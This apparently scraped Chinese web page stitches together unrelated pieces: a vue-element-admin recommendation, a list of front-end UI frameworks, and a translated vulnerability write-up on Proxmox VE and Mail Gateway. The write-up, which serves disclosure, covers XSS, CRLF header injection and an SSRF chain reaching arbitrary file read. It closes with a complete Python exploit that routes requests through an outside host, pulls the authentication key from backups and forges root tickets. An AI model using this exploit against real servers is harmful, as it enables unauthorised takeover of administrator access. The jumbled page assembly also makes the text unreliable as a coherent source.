整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

后端开发vue项目推荐 vue-element-ad

后端开发vue项目推荐 vue-element-admin

言:

做后端开发的同学都知道,越是正规的公司,分工越是专业。一般后端开发不太会被安排一些前端开发任务。尽管如此,不代表说后端同学一点前端也做。

对于一些内部时候、对样式不太在意的“管理系统”(各种 admin/government/background)。套路化、模板化的前端,有很大概率是后端来做的。因此后端同学也有必要掌握一些前端技术,不求多专业,够用就好。


后台管理系统几个时代

就笔者而言,后台管理系统的前端开发,基本上经历了4个阶段。

这4个阶段基本跟前端框架的进展也是吻合的。4个阶段如下:

l 石器时代

后端使用JSP、Freemarker、Velocity等模板引擎,基于内置or自定义标签。后端直接渲染出前端页面。

缺点有很多:后端一个变量写不对,整个页面无法出现。语法十分不方便阅读,各种转义符经常看的眼花缭乱,从而也很难维护。这个阶段很快就过去。

l 青铜时代

出现了一些基本是后端才会用的js ui框架。如 jquery-ui 、easyui / miniui 、extjs等。

自带了很多组件。前端使用的 table、form、pager等组件都是现成的。直接引用和组装即可。

这时候基本不需要后端的标签了,jsp仍然在使用,但也仅仅是作为一个构架,将js、css等资源引入。其他所有操作都是 js + ajax + json 与后端交互。无论是开发、维护效率都大大提升

l 蒸汽时代

这个时代基本跟上一个时代差别不大,最大的区别是出现了 bootstrap 这个基于栅格的css框架。有大量的jquery插件与之配合,同时出现了大量的模板,几乎一统天下。

l 现在

前后端分离的趋势不可阻挡,后端的管理系统也有部分已经是基于vue或者react开发。

管理系统模板

前后端分离框架3足鼎立。Vue、AngularJS、React各有拥趸,国内vue用的比较多,相对来说vue也最容易上手,所以很适合后端开发快速学习。

Vue 本身的ui框架,国内饿了么开源的 element-ui 用户众多,因此开发vue选择element-ui是很好的选择。

今日推荐的框架,就是基于element-ui进行的二次封装。直接提供了一套解决方案。

我们来看一下。


项目地址:

https://panjiachen.github.io/vue-element-admin-site/zh/

项目预览:



项目特点

vue-element-admin 是一个后台前端解决方案,它基于 vueelement-ui实现。它使用了最新的前端技术栈,内置了 i18 国际化解决方案,动态路由,权限验证,提炼了典型的业务模型,提供了丰富的功能组件,它可以帮助你快速搭建企业级中后台产品原型。

l 主流技术栈

所谓主流,就是说即便是我们自己搭建,也大概率引入相同的大部分依赖。

l 封装简练

没有重度耦合太多自定义的、没有源码的未知组件,用法也是主流用法,看了之后会容易二次修改

l 组件丰富

权限、主题、国际化、编辑器、表格、Error页面、图表等尽可能集成了。减少你的开发量。

功能截图:

图表:



图标:


整合了编辑器:



动态表格:




EXCEL导出:


换肤:

架对于前端工程师而言是绕不开的话题,熟练使用框架可以节约开发成本和时间,一般开发一个项目都会用到前端框架。高质量的框架更能够让web前端工程师在开发中达到事半功倍的效果,今天就为大家分享一些高质量的前端框架希望能够对大家有所帮助。

一、QUICK UI

QUICK UI是一套完整的企业级web前端开发解决方案,由基础框架、UI组件库、皮肤包、示例工程和文档等组成。使用QUICKUI开发者可以极大地减少工作量,提高开发效率,快速构建功能强大、美观、兼容的web应用系统。

QUICK UI优势:

①功能最为强大

QUICKUI经历了7年的迭代更新,不断从客户的各种业务中对组件的需求进行归纳和抽离,从而打造新的组件和功能。现在最新的4.0版本框架包含了一百多种组件,一千多个应用场景示例。可以说在前端框架领域中,QUICKUI拥有功能最强大组件库。

②运行最为稳定

很多其他的第三方UI控件在简单场合使用OK,到了复杂的场景中就会出现很多问题,这种现象很常见,因为在组件设计时无法预料到所有的应用场合。而QUICKUI在7年间经历了数千个项目实际检验,在各种复杂场景都应用过,并根据客户的反馈不断完善和调整。目前的第四代可以说是最稳定、最完美的版本。

③丰富精美的界面皮肤

跟其他web前端框架仅仅是一套组件库不同,QUICKUI是一整套前端解决方案,拥有丰富的外观界面解决方案。采用现今流行的扁平化设计理念,推出了包括登录、响应式web、工作桌面、地图类、门户风格、大屏展示风格等等几百套制作精美、用户体验优秀的界面。这些界面是以QUICKUI皮肤包的形式发布,使用和更换都非常方便。

④事无巨细的开发文档

QUICKUI拥有16万字+的开发文档,框架和组件的每一个功能点都有详细的讲解和代码示例,用于开发过程中随时查阅。除了框架机制讲解和组件使用教程,文档还涉及web前端开发的很多知识。仔细阅读并结合框架使用的话,你很快就能成为web开发的高手。

⑤上手开发非常容易

QUICKUI采用组件化思想来构建组件,一个组件就是一两句html的标签,使用起来非常简单。将开发人员从繁琐的JS编码中解脱出来,很大程度减少前台编码的出错率;保留了HTML的布局方式,从而快速进行页面布局。对开发者前台技术要求也非常低,只需要了解html语法和一些简单的JS即可,从而把更多精力放在业务功能的实现上,极大地提高开发效率。

⑥浏览器兼容性非常好

QUICKUI4.0使用了很多HTML5,CSS3技术用于提高表现力和用户体验,这些新的特性在现代浏览器中会有很好的效果。但是,国内依然有大量的用户在使用IE7、IE8等旧时代的浏览器,为照顾这部分用户,框架采用了渐进式思想,确保低版本浏览器也能正常使用。所以,QUICKUI兼容IE7以上所有主流浏览器。

二、flex

Apache基金会今天发布了Flex4.8版本,这是Adobe将Flex捐献给Apache基金会后发布的第一个版本。

需要注意的是,Flex目前还在孵化阶段,还不是Apache的正式项目,Flex4.8也不是一个正式的Apache版本。

Apache称,该版本标志着Flex新时代的开始,Flex的未来将由社区来驱动,而不是由一个公司驱动。开发者可以通过贡献代码,来帮助改进Flex,如修复bug、增加功能等。

从Macromedia卖给Adobe,然后又捐给apache,不知道搞什么名堂。不过还好没有经过大幅重构,否则就真的是悲哀了!

三、extjs

ExtJS是一种主要用于创建前端用户界面,是一个基本与后台技术无关的前端ajax框架。

功能丰富,无人能出其右。

无论是界面之美,还是功能之强,ext的表格控件都高居榜首。

华丽的界面,灵活的功能,还有开发工具都是配套的,但有个最大的问题,用就得花钱!

四、easyui

easyui帮助你构建你的web应用更加容易。

它是一个基于jquery的插件,开发出来的一套轻量级的ui框架,非常小巧而且功能丰富。

但是她有一个最大的问题就是代码只能找到以前的开源的版本,到了1.2以后的版本源代码都是经过混淆的,如果遇到问题修改起来会非常麻烦!不过一个比较大的优势是开源免费,并且界面做的还说的过去!

五、jQueryUI

jQueryUI是一套jQuery的页面UI插件,包含很多种常用的页面空间,例如Tabs(如本站首页右上角部分)、拉帘效果(本站首页左上角)、对话框、拖放效果、日期选择、颜色选择、数据排序、窗体大小调整等等非常多的内容。功能非常全面,界面也挺漂亮的,可以整体使用,也可以分开使用其中的几个模块,免费开源!

六、MiniUI

又一个基于jquery的框架,开发的界面功能都很丰富。

jQueryMiniUI–快速开发WebUI。

它能缩短开发时间,减少代码量,使开发者更专注于业务和服务端,轻松实现界面开发,带来绝佳的用户体验。

使用MiniUI,开发者可以快速创建Ajax无刷新、B/S快速录入数据、CRUD、Master-Detail、菜单工具栏、弹出面板、布局导航、数据验证、分页表格、树、树形表格等典型WEB应用系统界面。

界面做的挺不错,功能也挺丰富,但是有两个比较大的问题,一个是收费,一个是没有源码,说白了,不开源!基于这个开发如果想对功能做扩展就需要找他们的团队进行升级!

七、DWZ

DWZ富客户端框架(jQueryRIAframework),是中国人自己开发的基于jQuery实现的AjaxRIA开源框架.

设计目标是简单实用,快速开发,降低ajax开发成本。

毕竟是国产的,支持一下,而且源码完全公开,可以选择一下!不过性能怎么样不敢确定!

八、YUI

Yahoo!UILibrary (YUI)是一个开放源代码的JavaScript函数库,为了能建立一个高互动的网页,它采用了AJAX,DHTML和DOM等程式码技术。它也包含了许多CSS资源。使用授权为 BSD许可证,基本上没怎么研究过!YUICompressor倒是挺出名的,这套UI库不知道应用的情况怎么样!

九、Sencha

Sencha是由ExtJS、jQTouch以及Raphael三个项目合并而成的一个新项目。

大公司的框架,并且是几样库的强强联合,值得推荐!

十、OperaMasks-UI

OperaMasks-UI是OperaMasks团队2011下半年打造的一款轻量级前端JS组件库,旨在提供一款学习曲线低、定制性灵活、样式统一,且多浏览器支持、覆盖企业业务场景的前端JavaScriptUI组件库。目前,该团队已将这一产品以LGPL开源协议开放给社区。

文档丰富,功能齐全,而且很容易使用和开发!而且是国产的哟!

以上排序是整理时的排序,一起整理分析一下,下次用的时候就不用到处找了,我想同样的问题应该也存在在很多程序员身上,任何一款UI框架,只要能够容易入手就行。

熟练掌握并使用框架是一名优秀web前端工程师必备的技能,对于框架方面的问题,可以加入465042726,我们共同探讨。

Proxmox Virtual Environment(Proxmox VE 或 PVE)是一个开源的 Type-1 虚拟机管理程序。它包括一个用Perl编程的基于Web的管理界面。另一个用Perl编写的Proxmox产品,Proxmox Mail Gateway(PMG),带有类似的Web管理界面。它们共享一些代码库。

在本文中,我将逐步介绍如何调试 PVE 的 Web 服务,并分析我在 PVE 和 PMG 中发现的三个错误。

查找源代码

PVE是一个基于Debian的Linux发行版。ISO 安装程序可在他们的网站上找到。请注意,如果您想重现本文中的任何错误,请使用 2022 年 5 月 4 日更新的“Proxmox VE 7.2 ISO 安装程序”,除非您手动运行,否则不包括补丁。apt update

在默认安装中,Web 服务应侦听端口 8006。

使用几个命令,不难弄清楚 Web 服务的脚本位于:/usr/share/perl5/

ss -natlp | grep 8006           # Which process is listening on port 8006
which pveproxy                  # Where is the executable
head `which pveproxy`           # Is it an ELF, a shell script or something else?
find /usr -name "SafeSyslog*"   # Where is the "SafeSyslog" module used by pveproxy?

设置调试环境

我选择IntelliJ IDEA及其Perl插件进行调试。以下是设置它的步骤:

在 IDEA 中

  1. 打包 PVE 服务器并将其作为 IDEA 中的项目打开/usr/share/perl5/
  2. 转到设置>插件并安装Perl插件
  3. 转到Perl5 >>语言和框架设置,选择一个Perl5 解释器本地Docker都可以),然后将目标版本设置为 v5.32,与 PVE 使用的版本相同perl --version
  4. 在项目窗口(Alt+1)中,右键单击目录,将目录标记为>Perl5库根目录。perl5

在此阶段,您应该在 IDEA 中具有正确的语法突出显示和依赖项解析。

  1. 转到运行>编辑配置,添加新的“Perl 远程调试”条目并保存:名称:PVE 遥控器远程项目根目录:/usr/share/perl5连接方式:IDE connects to the perl process服务器主机:您的 PVE 服务器 IP服务器端口:12345

在 PVE 服务器上

运行以下命令以安装所需的调试工具:

apt install gcc make
cpan Devel::Camelcadedb

一切就绪。要启动调试会话,请在 IDEA 中单击“运行”调试“PVE 远程”>并在服务器上运行。如果一切顺利,调试器应该在第 330 行中断默认情况下,如下图所示。PERL5_DEBUG_HOST=<your PVE server IP> PERL5_DEBUG_PORT=12345 PERL5_DEBUG_ROLE=server perl -T -d:Camelcadedb /usr/bin/pveproxy start -debugSSL.pm

错误 0x01:API 检查器中的身份验证后 XSS

通过登录 Web 界面,可以观察到许多请求被发送到路径下的端点。通常,after表示响应数据的格式,服务器可能支持各种格式用于不同的目的。例如,可以为 RPC 调用、跨源标记或设置实现。在 PVE 中,如果我们更改为,服务器将返回一个包含 json 结果的“API 检查器”页面:/api2/json/json/apixmljsonp<script>htmlinnerHTMLjsonhtml

进一步的测试表明,服务器没有正确转义用户的输入。如果我们访问一个不存在的 API 端点,请求路径将反映在 antag 的属性中。因此,攻击者可以注入 HTML 标记以实现反射式跨站点脚本。href<a>

进一步分析

功能线 1100 是我们的入口点。如果请求路径以 开头,它将传递请求以运行。handle_requestperl5/PVE/APIServer/AnyEvent.pm/api2handle_api2_request

进入,我们可以在第 865 行看到变量,并且通过正则表达式从请求路径的其余部分中提取。然后调用函数以获取用于生成响应的“格式化程序”。handle_api2_request$rel_uri$formatPVE::APIServer::Formatter::get_formatter

后来,泰斯在946行打电话。在生成导航栏的“痕迹导航”HTML 时,请求路径直接连接到标签的属性。$formatterhref<a>

影响、攻击条件和限制

由于身份验证cookie是使用属性设置的,因此成功利用该漏洞需要受害者在访问恶意链接之前在同一浏览器会话中登录到Web界面。PVEAuthCookieSession

攻击者可以通过执行恶意 JavaScript 代码来访问 Web 界面中的每个功能。功能之一是执行 shell 命令。这是演示可能的攻击场景的视频。在视频中,受害者登录了PVE Web UI,然后访问了一个链接。攻击者的计算机上生成了 PVE 主机的反向外壳。

补丁

通过将用户输入编码为 HTML 实体反转来修补此漏洞。pve-http-server4.1-2

错误0x02:响应标头中的 CRLF 注入

在处理 HTTP 请求时,如果出现任何错误,PVE 服务器将在响应的状态行中写入错误消息。

相应的代码位于:perl5/PVE/APIServer/AnyEvent.pm

# line 294
my $code=$resp->code;
my $msg=$resp->message || HTTP::Status::status_message($code);
($msg)=$msg=~m/^(.*)$/m;   # [1]
# ...
# line 308
my $proto=$reqstate->{proto} ? $reqstate->{proto}->{str} : 'HTTP/1.0';
my $res="$proto $code $msg\015\012";   # [2]

At服务器使用正则表达式来匹配错误消息的第一行,试图避免其他行破坏HTTP响应。但是,此方法仅阻止 LF(%0a)。仍然可以在基于 Chromium 的浏览器中注入带有 CR(%0d) 的响应标头。[1][2]

以下是 Burp Suite 中的响应:

影响、攻击条件和限制

在测试时,使用 CR(%0d) 注入响应标头仅适用于基于 Chromium 的浏览器(Chrome、MS Edge、Opera 等),并且无法仅使用 CR(%0d) 注入到响应正文中。Firefox 不承认 CR(%0d) 是没有 LF(%0a) 的有效换行符。

PVE 中的这个错误乍一看似乎完全无害。不幸的是,在第 1327 行,对传入的 HTTP 请求进行了长度限制检查。如果请求标头超过 8192 字节,服务器将拒绝处理 HTTP 请求。AnyEvent.pm

# line 55
my $limit_max_header_size=8*1024;
# ...
# line 1327
die "http header too large\n" if ($state->{size} +=length($line)) >=$limit_max_header_size;

因此,攻击者可以制作恶意网页,在受害者的 PVE 域上多次设置长 cookie。一旦受害者访问恶意网页,对 PVE 域的后续 HTTP 请求将携带很长的 cookie 标头,从而被服务器拒绝。

下面是演示此客户端 DoS 漏洞的视频。在视频中,受害者最初能够使用PVE Web UI。访问恶意链接后,受害者在清除 cookie 之前无法再访问 Web UI。

需要注意的一件事是,Chrome默认允许第三方cookie。这是利用此客户端 DoS 错误的必要条件,因为我们正在设置从攻击者域到受害者 PVE 域的 cookie。但是,如果受害者在浏览器设置中将其 cookie 策略更改为“阻止第三方 cookie”或“阻止所有 cookie(不推荐)”,则此攻击将不起作用。

补丁

此错误通过添加额外的反转检查来修补。\r\npve-http-server4.1-3

错误 0x03:身份验证后 SSRF + LFI + 权限提升

SSRF

PVE 服务器可以作为独立节点运行,也可以加入群集以与其他节点连接。这种设计自然允许节点相互交换信息。例如,用于按名称查询集群中节点状态的 apii。它还可用于查询节点本身。/api2/json/nodes/{node_name}/status

如果我们将 the更改为不存在的值“test”,我们将看到以下错误消息:服务器似乎正在尝试对给定的服务器执行DNS查找。使用Burp Collaborator的快速测试验证了我们的猜测:node_nameHTTP/1.1 500 hostname lookup 'test' failed - failed to get address info for: test: No address associated with hostnamenode_name

通过分步调试,我们能够在其中找到相应的代码。事实证明,服务器解析为 IP 地址,然后将我们的 HTTP 请求中继到。AnyEvent.pm:proxy_requestnode_namehttps://{IP}:8006/api2/json/nodes/{node_name}/status

我们可能想在这里尝试的一件事是设置我们自己的HTTPS服务器,以使用有效的SSL证书侦听端口8006,并观察中继的请求是否可以进入。虽然它不是这样工作的,因为在触发请求之前会执行多项检查,并且希望为群集中的每个节点找到其中一个检查。无论我们输入自己的域名还是IP地址,服务器都将永远找不到证书文件,因为该文件不指向集群中的任何真实节点。因此,它只是在TLS握手期间抛出错误“ HTTP / 1.1 596 tls_process_server_certificate:证书验证失败”并停止在那里。/etc/pve/nodes/{node_name}/pve-ssl.pemnode_name

我们注意到的另一件事是在构造 URL 时附加到端口(上图中的 699、703 和 705 行)。开发人员可能已经假设这将始终以斜杠(/)开头。虽然事实并非如此,因为我们发现可以在不破坏请求解析器的情况下将 slash(/) 替换为其 URL 编码形式。$uri$target$uri%2F

我们试图将 URL 的起始部分转换为 userinfo 并使用 at 符号 (@) 附加我们自己的域,但其中一个健全性检查再次阻止了我们。经过多次尝试,我们设法找到了一个合适的 API 来利用此 SSRF 漏洞:此 API 接受任何字符串,这意味着我们可以设置为有效节点,以便它不会因证书问题而失败。然后我们使用 URL 编码的斜杠来控制主机名。GET /api2/json/nodes/{node_name}/tasks/{upid}/logupidnode_name@

在 PVE 中没有任何权限的经过身份验证的用户能够执行此 SSRF 攻击。由于 PVE 和 PMG 之间存在大量共享代码库,PMG 中仅具有低权限“帮助台”角色或“审核”角色的经过身份验证的用户也可以使用 API 利用此 SSRF 漏洞。/api2/html/nodes/{node_name}/pbs/{remote}/snapshot/

任意文件读取

在 的回调函数中,服务器在响应标头(第 778 行)中查找标头并将其值提取给稍后传递给 variable.is,服务器将返回文件的内容作为响应正文。http_requestpvestreamfile$stream$streamsysopen

易受攻击的代码也存在于PMG中。攻击者可以利用前面提出的 SSRF 漏洞,读取 PVE/PMG 服务器上的任意文件,在 PVE 中仅使用非特权帐户或在 PMG 中仅使用低权限帐户。Theis 在进程中称为 “pve(pmg)proxy worker”,uid=33(www-data)。sysopen

通过不安全的备份文件在PMG中提升权限

由于能够读取任意文件,黑客可能对存储在服务器上的凭据和密钥特别感兴趣。我们决定深入研究身份验证过程的实现,以查看服务器是否在数据库或配置文件中存储任何内容,以明文形式或通过某些“密钥”加密。

PVE/PMG 中的身份验证通过使用 RSA/SHA-1 对字符串进行签名和验证来实现。成功登录后,服务器将为客户端签署“票证”,称为“PVEAuthCookie”或“PMGAuthCookie”。以下是票证示例:

PVE:user01@pve:62BD5976::L1CM303sdb4Lr8yFOxFbw7KNYQ2SKI6LugQJj0+JDBpTG3L2QBBMQTe8Q2/VgECWumE8OyjB1ff15GIMLnHAnOTdGeRUbntaMQhU5kHr6TZsAbRRzZ6MTBqkFTq0lJUcK86BcNpHUaciABVEEjVvgDnOOToJXSMvM/qxzmiusTrx5wpturrF1D8hmhay2sG9eEuKwXVsIb6aeBL0Vcwm7V8VUQ0qqnUyaArAaJ4eW1MLIXgHl23OySYEl3CMg5mdbHyn+B0ITz8N4mYWXA2BedVxwE1Uo6NltJDsd63Mgob7ey9xmZSQI2M9qrLZIIhPbfK6panXJBvuCqAILZKjmw==

双冒号分隔明文和签名。明文的格式是。虽然签名是使用存储在 PVE 或 PMG 的私钥生成的,但只有 root 用户对这些文件具有读写权限。PVE:{username}@{realm}:{hex(timestamp)}/etc/pve/priv/authkey.key/etc/pmg/pmg-authkey.key

root@pve7:~# ls -l /etc/pve/priv/authkey.key
-rw------- 1 root www-data 1675 Jun 30 10:52 /etc/pve/priv/authkey.key

root@pmg:~# ls -l /etc/pmg/pmg-authkey.key
-rw------- 1 root root 1679 Jun  9 11:43 /etc/pmg/pmg-authkey.key

但是,事实证明,如果曾经使用过PMG中的备份功能,则备份文件将包含身份验证密钥。更重要的是,它可被www-data用户读取:

root@pmg:/var/lib/pmg/backup# ls -l
total 12
-rw-r--r-- 1 root root 10799 Jun  9 17:16 pmg-backup_2022_06_09_62A1BA65.tgz

备份文件的路径可以从任务日志中提取,www-data用户也可以访问该日志。结合上述所有漏洞,攻击者可以伪造票证,实现从低权限“帮助台”角色或“审计”角色到PMG中完全访问权限的权限提升。"root@pam"

概念验证

我们在下面附上了python脚本和演示此漏洞的视频。在视频中,攻击者以“帮助台”用户身份登录PMG Web UI,由于权限低,无法更改当前用户的角色。运行漏洞后,生成了伪造票证,攻击者获得了对 Web UI asuser 的访问权限。"root@pam"

import argparse
import requests
import logging
import json
import socket
import ssl
import urllib.parse
import re
import time
import subprocess
import base64
import tarfile
import io
import tempfile
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PROXIES={}  # {'https': '192.168.86.52:8080'}
logging.basicConfig(format='%(asctime)s - %(message)s', level=logging.INFO)


def generate_ticket(authkey_bytes, username='root@pam', time_offset=-30):
    timestamp=hex(int(time.time()) + time_offset)[2:].upper()
    plaintext=f'PMG:{username}:{timestamp}'

    authkey_path=tempfile.NamedTemporaryFile(delete=False)
    logging.info(f'writing authkey to {authkey_path.name}')
    authkey_path.write(authkey_bytes)
    authkey_path.close()

    txt_path=tempfile.NamedTemporaryFile(delete=False)
    logging.info(f'writing plaintext to {txt_path.name}')
    txt_path.write(plaintext.encode('utf-8'))
    txt_path.close()

    logging.info(f'calling openssl to sign')
    sig=subprocess.check_output(
        ['openssl', 'dgst', '-sha1', '-sign', authkey_path.name, '-out', '-', txt_path.name])
    sig=base64.b64encode(sig).decode('latin-1')

    ret=f'{plaintext}::{sig}'
    logging.info(f'generated ticket for {username}: {ret}')

    return ret


def read_file(hostname, port, ticket, localhostname, filename):
    logging.info(f'reading {filename}')
    raw_req=f'GET %2Fapi2%2Fhtml%2Fnodes%2F{localhostname}%2Fpbs%2F@t7.cal1.cn/snapshot/?f={urllib.parse.quote_plus(filename)} HTTP/1.1\r\n' \
              f'Cookie: PMGAuthCookie={urllib.parse.quote_plus(ticket)}\r\n' \
              'Connection: close\r\n' \
              '\r\n'
    logging.debug(raw_req)
    context=ssl.create_default_context()
    # disable cert check
    context.check_hostname=False
    context.verify_mode=ssl.VerifyMode.CERT_NONE

    ret=b''
    with socket.create_connection((hostname, port), timeout=5) as sock:
        with context.wrap_socket(sock, server_hostname=hostname) as ssock:
            ssock.send(raw_req.encode())
            while True:
                try:
                    buf=ssock.recv(2048)
                    ret +=buf
                    if (len(buf) < 1):
                        break
                    logging.info(f'recv {len(buf)} bytes')
                except socket.timeout:
                    logging.error('recv timeout, maybe the file doesn\'t exist')
                    break
    return ret


def get_authkey_from_tgz(tgz_bytes):
    tar=tarfile.open(fileobj=io.BytesIO(tgz_bytes))
    logging.info('reading ./config_backup.tar from tgz')
    tar2=tarfile.open(fileobj=tar.extractfile(tar.getmember('./config_backup.tar')))
    logging.info('reading etc/pmg/pmg-authkey.key from ./config_backup.tar')
    authkey_bytes=tar2.extractfile(tar2.getmember('etc/pmg/pmg-authkey.key')).read()

    logging.info(f'read authkey_bytes length: {len(authkey_bytes)}')
    return authkey_bytes


def exploit(username, password, realm, target_url, generate_for):
    # login
    logging.info(f'logging in with username:{username}')
    req=requests.post(f'{target_url}api2/extjs/access/ticket',
                        verify=False,
                        data={'username': username, 'password': password, 'realm': realm},
                        proxies=PROXIES)
    if req.status_code !=200:
        logging.error(f'login failed: expect 200, got {req.status_code}. Please check target_url')
        exit(1)
    res=json.loads(req.content.decode('utf-8'))
    if res['success'] !=1:
        logging.error(f'login failed: {res["message"]}. Please check username/password/realm')
        exit(1)
    ticket=res['data']['ticket']
    localhostname_re=re.compile('PMG:.*?@(.*?):[0-9A-F]{8}::')
    localhostname=localhostname_re.findall(ticket)[0]
    logging.info(f'logged in, user: {res["data"]["username"]}, role: {res["data"]["role"]}, localhostname: {localhostname}')

    # read file
    parsed_target=urllib.parse.urlparse(target_url)
    hostname=parsed_target.hostname
    port=parsed_target.port

    task_index=read_file(hostname, port, ticket, localhostname, '/var/log/pve/tasks/index').decode('utf-8')
    task_index=task_index.split('\r\n\r\n')[1]
    backup_re=re.compile('^(UPID:.*?:backup::.*?) ([0-9A-F]{8}) OK$', re.MULTILINE)
    backup_tasks=backup_re.findall(task_index)
    # we start looking for the tgz file from the lastest update
    backup_tasks.reverse()
    logging.info(f'found {len(backup_tasks)} successful backup tasks')

    for i in backup_tasks:
        # extract backup tgz filepath from task details
        task_detail=read_file(hostname, port, ticket, localhostname, f'/var/log/pve/tasks/{i[1][-1]}/{i[0]}').decode('utf-8')
        backuptgz_re=re.compile('^starting backup to: (.*?\.tgz)$', re.MULTILINE)
        backuptgz_path=backuptgz_re.findall(task_detail)
        if len(backuptgz_path)==0:
            logging.info(f'no backup file')
            continue
        backuptgz_path=backuptgz_path[0]
        logging.info(f'found backup file: {backuptgz_path}')
        # read the backup tgz file and extract pmg-authkey.key
        backuptgz_content=read_file(hostname, port, ticket, localhostname, backuptgz_path)
        if not backuptgz_content:
            logging.info(f'no backup file')
            continue
        backuptgz_content=backuptgz_content.split(b'\r\n\r\n', 1)[1]
        authkey_bytes=get_authkey_from_tgz(backuptgz_content)
        new_ticket=generate_ticket(authkey_bytes, username=generate_for)

        logging.info('veryfing ticket')
        req=requests.get(target_url, headers={'Cookie': f'PMGAuthCookie={new_ticket}'}, proxies=PROXIES,
                           verify=False)
        res=req.content.decode('utf-8')
        verify_re=re.compile('UserName: \'(.*?)\',\n\s+CSRFPreventionToken:')
        verify_result=verify_re.findall(res)
        logging.info(f'current user: {verify_result[0]}')
        logging.info(f'Cookie: PMGAuthCookie={urllib.parse.quote_plus(new_ticket)}')
        break


def _parse_args():
    parser=argparse.ArgumentParser()
    parser.add_argument('-u', metavar='username', required=True, help='A low privilege account in PMG')
    parser.add_argument('-p', metavar='password', required=True)
    parser.add_argument('-r', metavar='realm', default="pmg", help="Default: pmg")
    parser.add_argument('-g', metavar='generate_for', default="root@pam", help="Default: root@pam")
    parser.add_argument('-t', metavar='target_url',
                        help='Please keep the trailing slash, example: https://10.0.0.24:8006/',
                        required=True)
    return parser.parse_args()


if __name__=='__main__':
    arg=_parse_args()
    exploit(arg.u, arg.p, arg.r, arg.t, arg.g)

补丁

有几个反转应用了提交来修复错误链。pve-http-server4.1-3

  • https://git.proxmox.com/?p=pve-http-server.git;a=commitdiff;h=580d540ea907ba15f64379c5bb69ecf1a49a875f
  • https://git.proxmox.com/?p=pve-http-server.git;a=commitdiff;h=e9df8a6e76b2a18f89295a5d92a62177bbf0f762
  • https://git.proxmox.com/?p=pve-http-server.git;a=commitdiff;h=c2bd69c7b5e9c775f96021cf8ae53da3dbd9029d

译 https://starlabs.sg/blog/2022/12-multiple-vulnerabilites-in-proxmox-ve--proxmox-mail-gateway/